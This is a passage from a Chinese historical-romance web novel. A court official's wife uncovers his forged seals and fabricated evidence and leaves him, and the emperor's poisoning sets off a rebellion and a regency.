苏之仪将竹简从袖中拿出,殿阶上方走下来一个内侍。 在粗略检查过竹简后,将之呈给了正崇帝。 栾都侯内心怒喝:假的!这竹简是假的! 他根本没在柳县坞堡内留那么多竹简。 可他却无法将这斥责宣之于口,不然他又怎么解释,自己为何知道真假。 …… 不提今日朝堂之上是如何惊涛骇浪,却说苏府这里。 岑篱那日虽然听过苏之仪解释,还是隐隐觉得一股违和感萦绕心头。因为这股不对劲的感觉,她还暗自让景九去打探过,得知那些柳县的乡民确实被护送回了乡里,似乎一切只是她的多想。 期间还碰到了吕小郎君上门了一趟,听起来苏之仪对后者颇为赞赏。 一切都状似平常,但是她心头仍是莫名不安。因而一大早的便在屋里待不住,反而出去到院子里走了走。只是这实在不是个好主意,外面天寒地冻的,岑篱才出来走了一会儿,便觉寒气便透过裘衣直入骨髓,她跺了跺脚,就近找了间屋子进去了。 门口的守卫不敢拦她,只是行礼问好。 倒是里面的人看见了岑篱,惊道:“郡主?!” 原来岑篱刚才想着事情,没留意走到了前院,这会儿随便选的一间屋子正是苏之仪的书房。 五铢脸上不太明显地闪过一抹慌张之色,但是很快就掩下来,他也给自己刚才的反应寻到了个合适的理由,“郡主不太到前院来,小的一时惊慌,都忘了向郡主见礼了,真是不该。” 他故作夸张地请着罪。 一边向着岑篱行礼,一边不着痕迹地把手上的竹简合了起来。 这动作本没也什么,但恰逢岑篱这几日心绪不宁,正是警醒的时候,一眼就看出了异常。她视线再往旁边一瞥,看见了桌子旁放了几枚印章,正是那日在吕家铺子里面看见雕刻的完成品。 岑篱心底已经有了怀疑,面上却不显,只是道:“我刚才出来走走,也没想到就这么走到前院来。外面太冷,我先不出去了,你再把屋子里炭火生得旺一点,我在里头暖暖身子。” 她这么说着,已经随手抽出书柜上一卷竹简,倚靠着旁边的凭几半跪坐下来,看样子还真打算在屋里面呆着了。 五铢当然不敢明面上赶人,只得跑到外面去吩咐守卫多拿些炭火来,自己则又折返回来。他不敢让她一个人待在书房里。 看着他如此行事,岑篱越发确定这书房里有什么。 五铢也知道自己再留在这里显得奇怪,但却也不敢把案上的东西就这么摊开给岑篱看,只得轻声解释:“郎君吩咐小的,他下朝之前把这案几上的东西收拾出来,小的不敢不从……小的一定噤声,不搅扰郡主看书。” 岑篱不置可否地点了一下头,像是对此并不在意。 但她目光虚落在竹简上面,余光则是瞥着五铢的动作,见他把那一卷卷竹简卷好放置在内侧,又把印章收起来。 这么过了好一会儿,似 乎是确信她真的是来书房驱驱寒气、看看书的,五铢也渐渐放松了警惕。 岑篱适时开口吩咐,“我早上让寻夏煮了冻梨的蜜水,你遣个人过去问问,要是煮好了就送过来罢。” 五铢也没全然放松戒备。 仍旧是出去吩咐了门口的守卫去的。 岑篱当然没在一大早说什么冻梨水的,不过她心知寻夏不会拆穿她,多半还会想法子把人留下。从窖里拿出梨来,再去厨房煮,少说也要半个时辰。 岑篱约莫着时间,又过了差不多一刻钟多一点。 她抬眼便看向五铢,开口催促:“怎么还没回来?你过去问问。” 五铢心下有片刻犹豫,自己安排的人出了岔子,倘若再派一个护卫过去看便显得轻慢了。看看已经收拾妥当的书房,再想想一个来回走得快一点也不过是几息的时间,便也利索地点了头,“小的这就去看看。” 天寒地冻的,未免外面的凉气进来,书房内的出入都注意关着门,这倒是方便了岑篱。 确认了五铢离开后,她立刻起身往几案方向走去,循着刚才余光瞥着的五铢的动作,很容易找到了刚才被他放起来的东西。 展开一看,却是一册游记。 岑篱心下犹豫:难道真的是她想多了? 正准备放回去,却注意到旁边另一侧书柜的厚度不对,岑篱手指敲了敲,传来空荡荡的回音,里面有暗格。 岑篱仔细回忆着刚才五铢的动作,摸索了好半天才把暗格打开,里面放了几卷竹简。 刚一拿出来就嗅到一股新墨的墨香,想来是苏之仪临上朝之前刚刚写好,展开放在几案上,等着墨迹晾干让五铢收起来,不巧被岑篱撞见,这才收得如此匆忙。 岑篱心下已经生出点细微的不妙之感了。 她抬手把这竹简展开,入眼是完全陌生的字迹,而上面的内容……是柳县铸钱所的铜钱去向的“记录”。 倘若是真的,它不该出现在这里,也不该是墨迹未干。 …… 在朝堂上激起了这么大的波澜,下了朝之后,苏之仪自然被正崇帝留下来开了个小朝会。君臣二人对这个案子早有默契,这小朝会开得,与其说是议事,不如说是把帝王意图委婉透露给苏之仪。 故而从宫门出来,苏之仪回去的一路上,都在思考着正崇的暗示,又想着到底能以什么方式达成帝王的目的。 也是赶得巧了,等回到府上,苏之仪正碰到五铢端着冻梨汤往书房去。 他随口怎么回事,五铢把上午的种种一一禀告。 苏之仪脸色微变,“她在书房?” “是,但郡主只是来避避寒气……” 五铢解释的话还未说完,苏之仪已经一把拨开他,快步向书房方向走去。 心底隐约意识到什么,五铢暗道一句“不会吧”,也不敢怠慢、赶紧跟着苏之仪过去。 推开书房房门,便看见岑篱在几案旁站着。竹简展开放在一边,她手里把玩着几枚印章,正是让吕郎君仿造的那几枚印信。 她背对着窗户,冬日里稀薄的日光从后方窗里透过来,把她的影子拉得很长,脸上的神情却看不分明。 也听见了推门的动静,岑篱抬头看过去,“这便是你的查案子?” 伪造印信,罗织罪名。 岑篱一下子便想通了,为什么苏之仪要把柳县坞堡有关联的人全部扣押下了。 那些乡人因罪入狱,想要脱罪只能招供抵罪,但他们本就什么都不知道,招供也只能随便编造些什么,胡乱攀咬,他们被关押狱中,和外界无从接触,只要稍微给一点引导暗示,比如说“谁谁谁因招供指认了哪位大臣被放出去”,并不必做胁迫之事,为了自救,狱中的这些人会自己把事情编得比真金还真。 “令昭,你听我解释。” 【作者有话说】 下章分结局线,先些谢定线,再写苏之仪线 ps.与出场无关,仅与结局cp有关(也即,A线结局=B线be) 第35章 苏之仪快步上前抓住了岑篱的手,却被岑篱一把甩开,“别碰我!” 苏之仪僵在了原地。那双清透的眼睛冰凉冷厉地看过来,苏之仪读出了那其中过于分明的厌恶。 良久,他哑着声:“倘若御史中丞乃是被毒杀家中,那这柳县的坞堡便是他人故意引得朝廷发现的,其中的线索虽有但却不足以被采信。” 岑篱扬了扬手里的竹简,“那这些‘证据’就可信吗?” 苏之仪沉默了片刻,“可信……便是令昭将这些墨迹未干的竹简递送到御前,陛下也会信,因为这就是陛下想要的。为人臣子当为主君分忧,君上想做但不能做的,就要有人去去做。” 岑篱:“……” 书房的门大敞着,外面的寒气侵入了被炭火烘得暖融的屋内,她仿佛又回到了得知先太子死讯的那一日,一切都冷得让人打颤。 好一个“陛下想要的”。 他想要一个人去死,那个人便自己去死了…… 看着岑篱苍白的脸色,苏之仪往前上了一步,温声,“令昭。” 岑篱却摇着头往后退去。 全都如此,他们全都是一样的人。 …… 岑篱不知道自己走了多久,只浑浑噩噩地意识到自己出了苏府、走过街巷。 市集上小贩卖力吆喝着叫卖,岑篱充耳不闻,一直往前面走去。 直到看见岑府外那棵熟悉的楸树。 那树的树叶早就落光了,只余下枝干张牙舞爪地在空中伸展。岑篱想起了幼时,那时候她还不清楚发生了何事,只是因为被拉离家中而哭得撕心裂肺,最后映入眼中的,便是墙边的这棵不知道生了多少年的古树。 她上前几步,抬手抚上外表粗砺的树干。 手指被寒风吹得青白,连触觉都迟钝了,岑篱按着树干,缓缓地蹲身蜷起,让自己降低到与当年相同的高度,仿佛回到了当年。 这么蹲了许久,岑篱感觉到身体一点点僵冷下去。 直到一件漆黑的大氅从上方落下,兜头罩在了岑篱的身上,上面还带着另一个人的体温。 岑篱被这骤来的温暖激得一个激灵,抬头往上看去。 入目一张张扬的俊脸,谢定像是笑又像是无奈地叹息,“我就知道你会来这儿。” 岑篱沉默着没出声。 谢定垂着眼往下看,许久,他轻问:“和离吗?” “……和离了,之后呢?” 这世上到处都是一样的人,和不和离的,又有什么分别? 嫁给我啊! 谢定差点脱口而出这句话,却险险忍住,“你也看清楚他是什么样的人了,难不成还要跟他过一辈子?” 岑篱:“……” 她终是叹息着:“哪有那么容易?” 谢定却是浑不在意的模样,“这有什么难的?大不了我带你走。离开这里、离开长安城。” 岑篱想起了当年,少年也是用那样轻松的语气,笑着:既然在宫里住的不舒服,那就离开吧。 但是现在…… “那你的‘卫将军’、你的爵位、你的军功呢?” 谢定却兀地笑了,“你觉得我会在乎这些。” 岑篱不说话了。 真的有不一样的人吗? 岑篱抬起了摸着树干的手,往后落在岑府的院墙上,轻轻摩挲了几下。 脚下因为蹲得太久而僵硬,她扶着墙壁缓缓站起身来,等着那阵眩晕过去,她抬头看向谢定,开口:“我想要你去找一个人。” “谁?” “屯骑校尉李稷上。”岑篱说,“由他出面,去找西市吕家作坊铺子的小郎君。” “因为御史中丞的那个案子?” 岑篱摇头:“是也不是。” 谢定有点疑虑地看向岑篱,但也只片刻,他就干脆地点了下头,“好,我回头就去。” 说完,看向岑篱的视线却没有移开。 他在等一个答案。 岑篱却只是错开了视线,没有回答。 谢定面上露出失望 之色,但也只是压下情绪,遥遥目送岑篱离开。只是看了一会儿,他倏地意识到什么,唇角止不住地往上扬起。 岑篱仍旧披着那件大氅,非但没有脱下来,反而将系带系在了身前。 那件大氅对她长了点,行走间尾端拖着地上,她系好系带后,抬手提住了尾端,免得那灰黑的皮毛沾了地上的尘土。 她明明已经给出了回答。 …… 苏府,苏之仪等在门口。 他还穿着刚刚回府时的官服,并不算单薄,但在寒风中站了这么久,却也让他脸色发白。 远远看见过来的岑篱,他表情一喜。 但是看清了岑篱身上那出去时还没有的灰黑大氅,他神色又跟着沉下。 不过他还是掩饰住了表情,上前解释:“方才是我不好。我想了想,纵使心有怀疑,也不该……” “我们和离吧。” 未说完的话压在了喉间,苏之仪短暂地滞了下,但很快就恢复了表情,“怎么说这种胡话?” 岑篱抬眼看他:“我没说胡话,我们和离吧。” 苏之仪沉默了片刻,脸上面具一般的笑意褪.去。 但他还是勉强勾了勾唇角,温声:“令昭,我不会答应的。陛下也是。” 岑篱却只是对他摇头。 * 那日之后,岑篱搬回了岑府。但朝中的波澜却并未止息,私铸钱币的案子越扯越大,连御史大夫都下了狱。后者虽在朝堂上常与正崇帝的意见相左,但却是个不折不扣的刚直清正之人,不可能和此事有牵扯。 事情至此,岑篱心下彻底明白,这根本不是私铸钱币的案子了,是正崇帝想要借此清理朝堂。 但幼年时的温情还隐约在目,抱着某种近乎不可能的希望,岑篱入宫求见的正崇帝。 雕画的宫殿大门之外,白玉的石柱撑起了金碧辉煌的殿檐。浮雕的云纹顺着足有两人合抱的柱子蜿蜒而上,在柱顶与梁架和檐下的斗拱衔接,上方的琉璃瓦在阳光下闪着金边。 岑篱在外等着赵吉通报时,便看着这仿佛要通向天宫的殿宇。 少顷,里面传来让进的话语,岑篱忙敛了思绪入内。 正崇帝看岑篱进来,也放下了手里竹简,对着岑篱笑,“阳嘉许久都没过来了,这次进宫也不是为了和朕说闲话的吧。我听说你想和温知和离?给朕仔细说说,可是他给你委屈受了。若是如此,朕可饶不了他!” 一旁的赵吉忙笑着圆话:“瞧陛下这话说的,夫妻之间难免有口角,都得互相体谅。陛下这金口玉言的话一出,便是郡主想要缓和关系都下不来台了。” 赵吉跟着正崇帝这么久,说是后者肚子里的蛔虫也不为过,他的意思便是正崇帝的意思。这话是在讨正崇帝的欢心,却也是隐隐提点着岑篱。 但岑篱却恍若未觉,只是俯身叩首,“是,儿是有和离之意。但儿此次前来却并非为此。儿敢问大父,御史大夫刚直清正乃世所共知,其为何入狱?” 正崇帝脸上的笑意隐没,他把手上的竹简放在的一边,“看来阳嘉这一趟是来质问朕的了。御史中丞乃是他御史台的人,他的属下行此悖逆之事,他这个当上官的会一无所知?若真是不知道,也该治他个失察的罪过了。朝堂里的事不该你插手,你回去罢。” 说着,拿眼瞥了下旁边的赵吉。 赵吉无奈的上前,岑篱却对着上方再次叩首,“此事确实并非儿该插手的,但朝中应该说话的人不说,只能由儿来问一问了。大父也说那御史大夫乃是失察之过,既然如此,那便该以失察入罪,而非贿赂百官,密行不法之事。若是入狱罪名都如此随便,那置律法于何地?” 正崇帝面带不耐,“这朱嵊河一向在朝堂上大放厥词,朕处置他还处置错了吗?当年文宁出事,不也是他在朝上一力主张要查的吗?!” “文宁”二字一出,殿内一下子静了。 就连脱口而出非正崇帝也愣了愣,寒着脸没有出声。 “……大父既然提起了小舅舅,那容儿冒昧问一句,小舅舅是如何死的?” 正崇帝突然一挥袖子,将桌上的镇纸扫落在地。 镇纸砸在石砖地面上,发出一声巨响,还有那句沉声的厉喝:“滚!” …… 岑篱从宫里出来,去了廷尉狱中。 狱中走道逼仄,采光很不好,周遭的栅木都蒙上了一层灰蒙蒙的色彩。 旁边的狱卒在旁引路,“郡主小心。” 岑篱才看见脚下不远处有个凹陷,狱卒在旁边解释着,“这监牢北边阴潮阴潮的,听老人说,这是下头有暗河,所以这地常有塌陷,填了多次都填不平,也便这样了。走得多了,都知道哪里有坑,黑天也能绕过去。” 岑篱:“你在这儿呆了许多年?” “也快有五年了。” “那四年前,先戾太子的牢房,你可知道?” “这……”狱卒犹豫了一下,“郡主您跟我来。” 岑篱跟着对方向着当年的牢房走去,和一路上所见牢房相比,此处的环境已经很干净了。兴许是很少有人住进来,连下面的草垫都是簇新的,牢房的上方还对外开了一扇小窗,有光透进来。 狱卒小声,“那会儿我还刚当上狱卒,轮不到照顾太子的差事。但听我们班头说,文宁太子是个好人。” 岑篱沉默着点了点头。 她又看了眼监牢,向狱卒道:“走罢。” 岑篱此行是来见御史大夫的。 一身囚服的老者背身朝着监牢的大门,一旁木板子隔出来的放饭口处,端端正正地放了一碗杂粟饭。 见领着岑篱的那狱卒过来,门口守着的两个小卒面露慌张之色,“头儿,可不是我们磋磨他,是这老头他自己不吃。” 监牢的大门是木栅栏的,里面的老者能清楚地听到外面的话,却仍旧是背身向内坐着,一动不动。 岑篱上前一步,“朱大夫当真以为,绝食明志能留个清名在身上?还是觉得能以此逼得我大父回心转意?” 听到这动静,里面的老者终于有了动作,他缓缓转过身来。 “阳嘉郡主?”似乎极意外看见岑篱,他脸上僵硬的褶皱都动了动,又默然了片刻,他嘶声开口,“老夫未曾想,来此处的竟是郡主。” “法不阿贵,绳不挠曲[1]。我父亲耗尽心血修整齐律,并非为了被人歪曲事实、肆行诬陷的。” 【作者有话说】 [1]《韩非子》 第36章 朝中的波澜并未随着岑篱面见正崇帝停止,而是越卷越大,就连四年前的先太子巫蛊一案都被翻了出来。起因是先前随着少府一同被押入狱中的一个织工抵不住拷打招供,四年前东宫内发现的巫蛊,正是他偷偷埋入东宫地下的。 正崇帝勃然大怒,下令彻查,但织工早已畏罪自尽,线索就断在了这里。 若这织工直接招供了受谁指使还好,但留下了似是而非的一句话便自尽狱中,正因为铸币一案人心惶惶的朝堂越发风声鹤唳。 几日后,栾都侯府。 苏之仪亲自带人上门宣的旨。 这条街上原本尽是贵胄,但短短数月之间,一家接着一家被抓走。朝堂上的风声如此,故而早就有人派家仆守在了街巷口,远远地看见人来便赶紧会主家禀报,栾都侯府也是如此。 栾都侯像是早便料到了有这么一遭,得到家仆禀报也并未慌张,只是叹息,“早知如此,何必择什么时机?白白搭上了我儿的一条命去。” 石茂通强忍着慌张,看向栾都侯,“父亲,我们该怎么办?” 栾都侯:“还好我早有安排,以送葬幼弟为名让你早早回乡,再以家仆假扮送葬之人,令你暗中回来。如今他们还以为你在栾都,前往抓捕也需要些时日……你现在换身衣服,从偏门出去,去寻鲁王世子。” “父亲意思是……先下手为强?” 栾都侯微收下颌,浅浅地了一下颔首,对儿子交代道:“告诉他‘如今宫中正因重掀巫蛊之事人心惶惶,宫人必定人人自危,若要动手,没有比这再好的时机了’。” 看着栾都侯交代完了,就要出去迎旨,石茂通不由低喊了一声,“父亲!” 语气带惶急。 栾都侯:“去吧。若此事成,为父也当无事。” * 当天夜里,谢定借着自己值守宵禁的时机,暗地里将吕小郎君带到了岑府。 “廷尉给的印文图案,我雕刻完印章后,便失窃了。我去送印章的时候,还同廷尉解释过此事,廷尉还开解过我……只是我私下有个习惯,将刻好的印章印在竹简上,用作留念。因为铺子里接的都是精细活,这个习惯难免冒犯贵人,又有爹爹警告,我便从未对外道过。”吕小郎君说着,将那卷印满了各式印章的竹简拿了出来,神情却有些恍惚,“苏廷尉在狱中帮我良多,怎、怎会是那样的人?” 岑篱正检查竹简的动作一顿,也有微微出神。 谢定重重地咳了一声,“西市的吕家铺子,前些日子失火了。” 吕小郎君面色一白,不说话了。 岑篱也沉默了许久,才低声开口,却未接上面任何一个话茬。 “若是大父不愿意‘相信’,有这竹简为证据也是枉然。我前几日去狱中拜访过御史大夫,今日又拜访了丞相,丞相言,他愿意在腊祭上当着祖先神灵的面替百官请命,希望大父停.下此次牵连。” …… 然而做了种种准备,岑篱却并未等到腊祭那日。 就在当晚,岑篱准备送谢吕二人出去的时候,家丞领着一个人匆匆赶来,“郡主,有人求见。” 而那人也同时掀开了斗篷上的兜帽,揖礼拜见,“婢子见过郡主。” 竟是徐夫人身边的大宫女。 夜半来访又行色匆匆,绝非好事。 岑篱还猜想着有何事发生,对面已经开口,“宫中突生变故,夫人请郡主入宫。” 岑篱愕然:“现在?” “是,夫人请郡主尽快动身。” 谢定在旁听得蹙眉,“我和你一起去。” 这大宫女这才注意到旁边的谢定,短暂的惊愕之后,却是道:“也好。谢将军同去,夫人也能安心些。” 让谢定去?安心? 岑篱心底生出些不好的猜测。 等到赶到宫城,看到宫门侍卫严阵以待,她那颗心更是往下沉了沉。 大宫女并未带她去徐夫人宫中,而是直奔紫宸殿,平时已然守卫森严的帝王寝殿这会儿更是层层把守,验过身份后,守卫才把几个人放进去。 宫殿之中,烛台层层叠叠,照亮了内间。 徐夫人正抱着三岁的皇长子坐在旁边,今夜值守的宫人早被驱赶到了宫殿的一角被看守着,只有赵吉侍立在矮榻的旁边,脸色惨白、神情恍惚,半点不见平日的伶俐。 看到这个场景,岑篱已经猜到了什么,但却仍旧不敢相信。 她忍不住往前走了一步,榻上的人平静地阖着眸子宛若安睡,只是嘴唇微微发青,唇边一抹刺目的血迹。 “是中毒。”谢定跟着上前看了两眼,又问一旁的徐夫人,“今日都有什么人在御前。” 因着是陌生人问话,皇长子往徐夫人怀里缩了缩。 徐夫人回神,往旁边那一堆宫人处指了指,低声:“宫里的人都在这里了。” 侍卫的看守下,宫人们一个个都面无血色,神色仓皇地聚在一起。 谢定:“得知出事之后,宫中可有人进出?” “并无。” 徐夫人也算急智,被赵吉匆匆遣人告知正崇帝出事之后,便令人严守宫门不许进出,可除此之外,她却一时无人求助。她是侍奉先皇后的宫人出身,因为有了皇长子才得封夫人。但皇长子尚且年幼,没有在朝堂上的经营,她自己娘家更是没有丝毫助力,这才紧急去找了岑篱,盼着念些先主旧情。 谢定又问了几句,道:“宫人还需要审问,但其投毒多半是受人指使,徐夫人不妨将今日值守的戍卫召来,一同讯问。但此事果真是与宫外勾结,找到线索之前,贼人或许已经逃离。我这就去找人查看长安各个城门,看有没有人想要趁乱离开长安,但……” 谢定皱着眉看了眼皇长子,这孩子明显受了惊,只一个劲地把脸往徐夫人怀里埋。 “……陛下崩逝,朝堂必定大乱,还需得有人坐镇,稳住朝局。” 因为正崇帝先前的清洗朝堂,如今朝中人心离散,这样的乱局可不是一个三岁的孩子能撑起来。谢定说着,往岑篱处看了一眼。 岑篱也终于回过神来。 “去请丞相、御史大夫、太常寺卿……”她一连念了好几个官职,人却有点恍惚,本来为了腊祭上谏言而奔走联络的这些人,却不想竟成了为正崇帝处置后事的人,“请他们入宫一叙。” 谢定:“正好我要去城门查看,我亲自去请便是,免得打草惊蛇。” 岑篱颔首,将自己的印信递给了他。 那是一枚白玉雕刻镶嵌着黄金的印章,谢定心神一动,抬眼看向岑篱。后者却心不在焉,并没有察觉到什么。 谢定心底一叹。 还是等事情结束,再行询问吧。 他接过印信,深深看了岑篱一眼,“我很快就回来。” 这一次,他不想再错过了。 …… 该做的安排做了,剩下的便是等人进宫了。 又把那些宫人一一安排下去问话,等待的间隙,岑篱靠着矮榻旁边坐下了。 因为屋里生着炭火的缘故,门窗并未完全封死,炭火烘烤带了融融暖意,可还有透过缝隙的凉风在殿内吹过。 岑篱迟疑了良久,抬手轻轻碰了碰榻上人的手背。 又冰凉又僵硬,和那久远记忆里的完全不同。但她又忍不住怀疑,记忆中的当真是真实的吗? * 与此同时,长安城东门,果真有一行人趁夜出行。 这行人一身戍卒打扮,护卫这当中的一驾马车,似乎是押送什么要紧事物,正与城门守卫核验文书。 若是平常,这文书核验完了便可放人出去了,可如今守卫之人刚刚接了上面的命令,接过文书后,却并不放行。 领头的押送之人不满:“大胆,我等乃是光禄勋麾下,奉命送祭器出城。若是耽误了腊祭,尔等可担不起这罪过。” 守卫却无动于衷,“我等奉命封锁城门,非陛下御令不得开门。” 正相持之中,那本该载着祭器的车厢传来一阵笃笃的轻敲声。 声音不大,但在寂静的寒夜中却传出很远,在空旷的街道上缓缓荡开。 守卫脸色一变,“车里有人?!” 与他声音同时响起的,却是唰啦一声的抽刀动静,守卫还未及反应,就被一刀抹了脖子。 而那原本押送的队伍中,也飞快分出几人,借着勾爪攀上城墙。 墙头上的守卫见势不好,已经飞快向着后方跑去,捞起钲椎想要击打铜钲,可终究慢了一步,身后的弩.箭穿过后心,他整个人僵立瞬许便直直往前倒去,钲椎擦过铜钲的边缘,发出极其微弱的一点声响。顷刻间的功夫,城头已经被那押送的队伍夺取,绞盘被几人合力拉开,沉重的大门在夜色中一点点敞开,门枢的滑动的吱嘎声也跟着传了出去。 半夜被从家中叫醒的韩培蹙眉:“你有没有听到什么动静?” “东城门!”谢定脸色沉下,“你先去丞相府,我随后就到。” 他说着,已经连续抽了几下马鞭,马匹吃疼加速往前奔去,他身后一队骑兵也连忙率人跟上。 等一行骑兵赶到的时候,城门刚刚半开。 当先的马车已经被送了出去,身后的护卫注意到追兵后却折身返回,看样子是放弃了出城的意图,想当翼护主上的死士。 谢定一马当先,也不跟人缠斗,只是手中长.枪连挑,辟开一条血路后,直翻到城头。 长.枪脱手,一枪将那正控制着绞盘的贼人捅了个对穿,正缓缓关闭的城门停在了只容一人一马通过缝隙,谢定所率的骑手也飞快越过死士的包围,向着城外追去。 城头之上,谢定持箭搭弩。 那固定在城头之上、需要两三个人合力拉起的重弩被他生生地拉开,一箭射穿了车架旁一人胸膛,力道之大,生生地连人带马贯了下去。 一箭落定,谢定面上却未见喜色,只是调整着弓弩的角度,这次正正对准了那辆马车。 破空锐响划破夜色,箭矢的寒光映着月辉,角度刁钻地穿透了摇曳的车帘,扎入车厢之中。但距离太远,却不知结果如何。 谢定正向着再来一箭,那马车却骤然加速,隐没到了枯枝掩映的丛林之中。确认了再难瞄准之后,谢定这才松开了拉弦的手,敲响了一旁的铜钲,清越的金属 声层层荡漾开来,一直传到了城外的驻营地。 他倒要看看这群人能跑多远。 …… 而此刻的马车之上,一根羽箭正贯穿了女人的左心口。 方才那箭矢破窗而入的一瞬,鲁王世子直接将身侧的女人扯到了身前,当了肉盾。 箭镞堵塞着伤口,一时还没有多少血流出。马车的颠簸让那扎入身体的箭矢不断扩大着创口,李奾单手按住伤口,那张精致的面孔因为疼痛而扭曲。 没了生死危机,鲁王世子也冷静了下来。 他松开了粗暴扯着人衣裳的手,动作温柔地将人重新抱到了怀中。又抽出佩刀斩断了箭杆,温声:“等情况安稳下来,我立刻派人去请医工。” 李奾没有说话,她也说不出话来了,一开口便是翻涌的血腥味儿,将婉转如莺啼声音阻断在了喉咙之中。 她只是死命地睁大了眼,看着那俊秀的一张脸上满是疼惜。 这么看着、看着……直到那双漂亮的眼睛彻底失去神采。视野彻底陷入黑暗之前,她仿佛听到了一声悠长的叹息声。 第37章 次日,朝堂。 这段时日,朝上诸臣已经习惯了每日朝会总能见殿上少了几位同僚,也做好失去几张熟面孔的心理准备,却不想今日竟是多了——本已下狱的御史大夫重新位列朝堂。若不是这位御史大夫来得实在晚了些,刚刚列位便有礼官唱和肃静,少不了要有人上前攀谈几句。 但接下来发生的事,让人无暇去关注御史大夫出狱的这点小事。 礼官的唱声之后,众臣熟练的恭迎陛下,可走进来的却并非近日来让整个朝堂人心浮动的正崇帝。一身孝服的徐夫人牵着同样重孝在身的皇长子,在侧后方一步是是阳嘉郡主。 这几人的身戴如此重孝,龙驭宾天的便只能是那一位了。 殿内不明内情的臣子已经有人忍不住心中惶恐,开始回忆是否自己昨夜睡得太熟,竟错过了国丧的丧钟鸣响;倒是有些反应快些的想了明白,陛下山陵崩于前一夜,宫中却秘而不宣,此事恐怕有些内情,再想这几日朝上的风波,只怕接下来风浪更甚…… 不管下方怎么想,身着孝服的几人已经一步步踏上陛阶,徐夫人半抱着皇长子就坐于主位,岑篱也在侧边的一软榻上跪坐。 是由岑篱开的口,“昨夜陛下被刺于紫宸殿中,为查凶手,丧钟未鸣。卫将军于城外刚截下本该扶灵归乡的石茂通,现已查明,其父涉嫌刺杀陛下,石氏族人皆已下狱。然其同党未清,从今日起,宫门城门皆严加看管,凡与石家有牵扯着即刻上报!” 这犹带肃杀之意的一句话惹得满堂皆静。 好一会儿,才由丞相上前一步,率百官一同应是。 在说完此事之后,丞相何敬仪又接着,“国不可一日无君,陛下猝然离世,朝中恐生乱象。皇长子虽年幼,却是名正言顺的储君,应当立刻迎立,以安朝野之心……只是新主毕竟年幼,恐怕难以理政,依照我朝旧例,当太后垂帘听政,暂掌国事,待太子长成再行归政。” 上首的徐夫人轻轻颔首,“丞相说得有理,只是哀家素来只是打理宫事,于国事上颇为生疏。不如这般,晋封阳嘉郡主为公主,加食邑三千,赐金印,与哀家协理国事。至于朝中之事,昨夜谢将军追捕反贼有功,擢升太尉,掌全国兵事。丞相、御史大夫素有威望,朝中政事交予二位辅佐,哀家也放心了。太常寺卿于宗室素有威望,不若再领太傅一职,教导新帝……” 被点的几个人,包括岑篱在内,皆都上前敛衽行礼,“儿/臣,谢太后恩典。” 这下子,便是朝堂上再不明情况的人也知道,这分明是商议好的。 不由心底扼腕,昨夜为何不警醒些,若是能在新朝初立时立些功劳,当下也能身领要职了。 …… 接连放了好几个大消息,但真要说时间,今日的朝会散得比平常还更早些。 下朝之后,官复原职还受辅政之托的御史大夫自然被同僚们团团围住,另一边,也有不少人看向苏之仪。虽说这次的册封没有这位廷尉在册,可是他的夫人却是如今的摄政公主,日后前途不可限量。 话虽如此,但碍于苏之仪的“赫赫威名”,一时还真没有人敢上前。 苏之仪却并未在意这些目光,而是径自穿过人群,往府中回去。 早朝的时候,宫城之内已经鸣响了丧钟,小吏在街巷上来回奔走,宣告国丧。 五铢也因此得知正崇帝薨逝一事,他这时候正守在府门口,想要问问刚从朝上回来的郎君情况如何。 但等真的见到苏之仪之后,五铢却没有开口了。 后者虽面上不显,但五铢却知道郎君此刻定然心情极糟。前些日子,郡主搬离苏府时,郎君也就是这反应了。 怕触了郎君的霉头,五铢压下到嘴边的询问,沉默地跟在苏之仪身边。他看着苏之仪脱下官服、摘掉官帽,将之整整齐齐地叠放在面前的几案上,自己则是跪坐在案前,不知在想什么。 好一会儿,五铢终于还是忍不住询问:“可要小的拿丧服来?” 苏之仪似是怔了怔,点头,“也好。” 这丧服却并非为国丧而穿。 待到五铢将丧服拿过来之后,苏之仪却没急着穿上,而是开口询问:“你也跟了我好多年了吧?” 五铢心下不解,“是有年头了。从郎君被苏内史选中承嗣,小的便跟在郎君身边了。” “都这么久了啊。”苏之仪叹息了一声,“郡主……不、公主。公主心善,向来不愿牵连无辜,你若是被人问起,只说过往所做皆受我所指使,并不知其中内情……” “郎君?!” 还不待他慌张追问发生了何事,外面门房匆匆过来禀报,“郡主回来了!” 岑篱毕竟在苏府里当了几个月的女主人,对府邸的构造相当熟悉,家仆紧赶着去通报的时候,她已经不必人带路,自己往书房的方向走去,因而和通报的家仆也是前后脚到的书房。 她也看见被放在案前的官服,还有一身素衣的苏之仪。 苏之仪脸上的意外之色还未来得及收起来。 视线相接,他低声叹息:“臣还以为,上门的会是宣旨黄门和宫中卫兵……却不想公主居然还念着旧情,愿意给臣一个体面。” “不是体面,是‘将功赎罪’的机会。”岑篱道,“昨夜虽然在城外抓到了本该回乡的石茂通,但罪魁祸首却已逃离。今日彻查长安时,鲁王世子称病不出,我命人暗中去探了,世子府内部早已人去楼空。为安朝堂之心,此时并未对外宣称……但大父彻查铸币一案,正查到栾都侯时被人毒杀,鲁王世子趁夜逃离京城,若果真是鲁王世子勾结栾都侯谋逆,那铸币一事必定得彻查下去。” 而这个案子,没有比苏之仪更合适的人选了。 苏之仪沉默了好一会儿,开口却是问:“公主昨夜与谢将军在一起?” 岑篱愣了一下。 意识到他话中暗含的意思之后,面上不由露出恼色。 “你当我是什么人?!那是、那是——”岑篱深吸了口气,冷静下来,“我见了西市吕家铺子的小郎君,是他带人过来的。” 苏之仪:“……” 他也知道了岑篱为何见吕小郎君。 良久,他躬身行礼,“公主有命,臣不敢不从。” 岑篱却并未因苏之仪的态度有所放松,而是看着他,“如今朝堂不稳,新帝年幼,又有外敌窥伺。倘若这案子再有构陷之行,朝上真要人心离散,但若是放过谋划之人,焉知同样的毒杀会不会有第二次……只要行错半步,整个朝堂都要跟着陪葬,你可知道?” “若非此事棘手至此,想来公主也不会轻易给臣这个将功赎罪的机会。” …… 接下来的事情似乎渐渐步入正轨。 未免人心动荡,鲁王世子勾结之事只在暗中查探,明面上反而替几个先前因为铸币一案被下了狱官员翻了案子。朝堂的气氛因此放松下来,倒是没了先前正崇帝在位时的紧绷,诸位匆忙任命下的辅政大臣也终于放下了提起的那颗心,商议起了正崇帝后事和因为国丧推迟的腊祭。 鲁王谋反的军报便是在这个时候传来的。 急报被直接送入承明殿,殿内诸臣却并无慌张,反倒是有种“终于来了”个落地感。 御史大夫:“从察觉鲁王世子有异,朝中便派遣暗探去 了鲁国,鲁王到现在才发兵,也算是沉得住气。” 